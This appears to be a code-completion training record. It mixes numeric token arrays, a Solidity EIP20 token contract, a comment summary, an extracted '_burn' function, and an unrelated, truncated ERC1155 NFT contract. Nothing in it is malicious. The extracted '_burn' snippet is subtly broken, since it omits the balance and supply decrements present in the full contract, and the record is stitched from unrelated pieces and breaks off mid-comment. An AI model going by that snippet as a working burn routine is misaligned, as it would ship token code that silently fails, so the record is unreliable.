[ 1, 12083, 12744, 424, 2448, 9313, 288, 203, 565, 1450, 10560, 2160, 364, 1731, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 203, 565, 25417, 14863, 1000, 511, 5113, 15090, 18, 203, 203, 5666, 288, 14060, 10477, 289, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 30205, 560, 19, 16351, 87, 19, 15949, 19, 9890, 10477, 18, 18281, 14432, 203, 5666, 288, 10560, 2160, 289, 628, 315, 16644, 6216, 9375, 19, 20, 92, 19, 5664, 2160, 18, 18281, 14432, 203, 5666, 288, 10560, 2448, 289, 628, 315, 16644, 6216, 9375, 19, 20, 92, 19, 11688, 19, 21571, 19, 5664, 2448, 18, 18281, 14432, 203, 565, 1958, 4347, 1864, 288, 203, 3639, 2254, 5034, 3372, 1782, 31, 203, 3639, 2254, 5034, 3636, 6275, 31, 203, 3639, 1731, 3372, 31, 203, 565, 289, 203, 203, 565, 1958, 12744, 424, 2448, 5369, 288, 203, 3639, 4347, 1864, 1446, 31, 203, 3639, 10560, 2448, 18, 2448, 1353, 31, 203, 3639, 1758, 312, 6388, 1345, 31, 203, 3639, 1758, 268, 6388, 1345, 31, 203, 565, 289, 203, 203, 203, 565, 445, 1109, 2448, 1864, 12, 203, 3639, 1731, 3778, 389, 9972, 751, 16, 203, 3639, 2254, 5034, 389, 3348, 203, 565, 262, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 2448, 1864, 3778, 13, 203, 565, 288, 203, 3639, 4347, 1864, 3778, 1446, 31, 203, 203, 3639, 2254, 5034, 1353, 751, 1685, 273, 389, 9972, 751, 18, 1745, 1887, 7675, 1289, 24899, 3348, 1769, 203, 203, 3639, 19931, 288, 203, 3639, 289, 203, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./IEIP20.sol"; // Implementation of eip20 standard. // https://eips.ethereum.org/EIPS/eip-20. contract EIP20 is IEIP20 { mapping(address => uint256) private _balanceOf; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint256 private _totalSupply; // constructor will set name and symbol of the token. // It will take 2 params : string name_ for name of the token // string symbol_ for symbol of the token. constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } // Returns the name of the token - e.g. "MyToken". // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. function name() public view virtual override returns (string memory) { return _name; } // Returns the symbol of the token. E.g. “HIX”. // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. function symbol() public view virtual override returns (string memory) { return _symbol; } // Returns the number of decimals the token uses - e.g. 8, // means to divide the token amount by 100000000 to get its user representation. // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. function decimals() public view virtual override returns (uint8) { return 18; } // Returns the total token supply. function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } // Returns the account balance of another account with address _owner. function balanceOf(address _owner) public view virtual override returns (uint256) { return _balanceOf[_owner]; } // Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. // The function SHOULD throw if the message caller’s account balance does not have enough tokens to spend. // Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event. function transfer(address _to, uint256 _value) public virtual override returns (bool) { return _safeTransfer(msg.sender, _to, _value); } // Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event. // The transferFrom method is used for a withdraw workflow, // allowing contracts to transfer tokens on your behalf. // This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in sub-currencies. // The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism. // Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event. function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { return _safeTransfer(_from, _to, _value); } // Allows _spender to withdraw from your account multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. // NOTE: To prevent attack vectors like the one described https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/ and discussed https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729, // clients SHOULD make sure to create user interfaces in such a way that they set the allowance first to 0 before setting it to another value for the same spender. // THOUGH The contract itself shouldn’t enforce it, to allow backwards compatibility with contracts deployed before. function approve(address _spender, uint256 _value) public virtual override returns (bool) { return _safeApprove(_spender, _value); } // Returns the amount which _spender is still allowed to withdraw from _owner. function allowance(address _owner, address _spender) public view virtual override returns (uint256) { return _allowances[_owner][_spender]; } // Will transfer token balance from _from to _to in safe way with few check. function _safeTransfer(address _from, address _to, uint256 _value) internal virtual returns (bool) { // check if address not zero address. require(_from != address(0), "Transfer from zero address"); require(_to != address(0), "Transfer to zero address"); // check if _from has enough balance. require(balanceOf(_from) >= _value, "Not enough balance for transaction"); // if msg.sender not _from then check if msg.sender has enough allowance. if (_from != msg.sender) { require(allowance(_from, msg.sender) >= _value, "Not enough allowance for this transaction"); _allowances[_from][msg.sender] -= _value; } // set balance of both after transaction. _balanceOf[_from] -= _value; _balanceOf[_to] += _value; // emit the transaction into blockchain. emit Transfer(_from, _to, _value); return true; } // Will give certain `amount` of allowance to _spender in safe way with few check. function _safeApprove(address _spender, uint256 _value) internal virtual returns (bool) { // check if _spender not zero address. require(_spender != address(0), "Approval tp zero address"); // set allowance after transaction. _allowances[msg.sender][_spender] = _value; // emit transaction into blockchain. emit Approval(msg.sender, _spender, _value); return true; } // Minting new token, asign amount to the address and increase totalSupply. function _mint(address _to, uint256 _value) internal virtual { // check if _to not an zero address. require(_to != address(0), "Token minting to zero address"); // set balance after transaction. _balanceOf[_to] += _value; // set totalSupply after transaction. _totalSupply += _value; // emit transaction into blockchain. emit Transfer(address(0), _to, _value); } // Burning certain amount of token from _owner and decrease totalSupply. function _burn(address _owner, uint256 _value) internal virtual { // check if _owner is not an zero address. require(_owner != address(0), "Burning from zero address"); // check if _owner has enough balance for burning. require(balanceOf(_owner) >= _value, "Not enough balance for transaction"); // check if _owner is msg.sender and if not check if msg.sender has enough allowance if (_owner != msg.sender) { require(allowance(_owner, msg.sender) >= _value, "Not enough allowance for transaction"); // decrease allowance. _allowances[_owner][msg.sender] -= _value; } // decrease balance after transaction. _balanceOf[_owner] -= _value; // decrease totalSupply after transaction _totalSupply -= _value; // emit transaction into blockchain. emit Transfer(_owner, address(0), _value); } }
Burning certain amount of token from _owner and decrease totalSupply. check if _owner is not an zero address. check if _owner has enough balance for burning. check if _owner is msg.sender and if not check if msg.sender has enough allowance decrease allowance.
function _burn(address _owner, uint256 _value) internal virtual { require(_owner != address(0), "Burning from zero address"); require(balanceOf(_owner) >= _value, "Not enough balance for transaction"); if (_owner != msg.sender) { require(allowance(_owner, msg.sender) >= _value, "Not enough allowance for transaction"); _allowances[_owner][msg.sender] -= _value; } }
6,388,428
[ 1, 38, 321, 310, 8626, 3844, 434, 1147, 628, 389, 8443, 471, 20467, 2078, 3088, 1283, 18, 866, 309, 389, 8443, 353, 486, 392, 3634, 1758, 18, 866, 309, 389, 8443, 711, 7304, 11013, 364, 18305, 310, 18, 866, 309, 389, 8443, 353, 1234, 18, 15330, 471, 309, 486, 866, 309, 1234, 18, 15330, 711, 7304, 1699, 1359, 20467, 1699, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 70, 321, 12, 2867, 389, 8443, 16, 2254, 5034, 389, 1132, 13, 2713, 5024, 288, 203, 202, 202, 6528, 24899, 8443, 480, 1758, 12, 20, 3631, 315, 38, 321, 310, 628, 3634, 1758, 8863, 203, 202, 202, 6528, 12, 12296, 951, 24899, 8443, 13, 1545, 389, 1132, 16, 315, 1248, 7304, 11013, 364, 2492, 8863, 203, 203, 202, 202, 430, 261, 67, 8443, 480, 1234, 18, 15330, 13, 288, 203, 1082, 202, 6528, 12, 5965, 1359, 24899, 8443, 16, 1234, 18, 15330, 13, 1545, 389, 1132, 16, 315, 1248, 7304, 1699, 1359, 364, 2492, 8863, 203, 203, 1082, 202, 67, 5965, 6872, 63, 67, 8443, 6362, 3576, 18, 15330, 65, 3947, 389, 1132, 31, 203, 202, 202, 97, 203, 203, 203, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-02 */ // SPDX-License-Identifier: MIT // Developer: jawadklair.eth pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits; temp = value; while (temp != 0) { buffer[--index] = bytes1(uint8(48 + uint256(temp % 10))); temp /= 10; } return string(buffer); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; using Strings for uint256; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Total crystals count, including burnt nft uint256 public totalSupply = 0; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256 id) external view override returns (string memory) { require(id < totalSupply, "NFT does not exist"); // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_uri).length == 0) { return ""; } else { // bytes memory b = new bytes(32); // assembly { mstore(add(b, 32), id) } // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_uri, id.toString())); } } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { require(accounts[i] != address(0), "ERC1155: batch balance query for the zero address"); batchBalances[i] = _balances[ids[i]][accounts[i]]; } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from] - amount; _balances[id][to] = _balances[id][to] + amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from] - amount; _balances[id][to] = _balances[id][to] + amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account] + amount; totalSupply++; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. 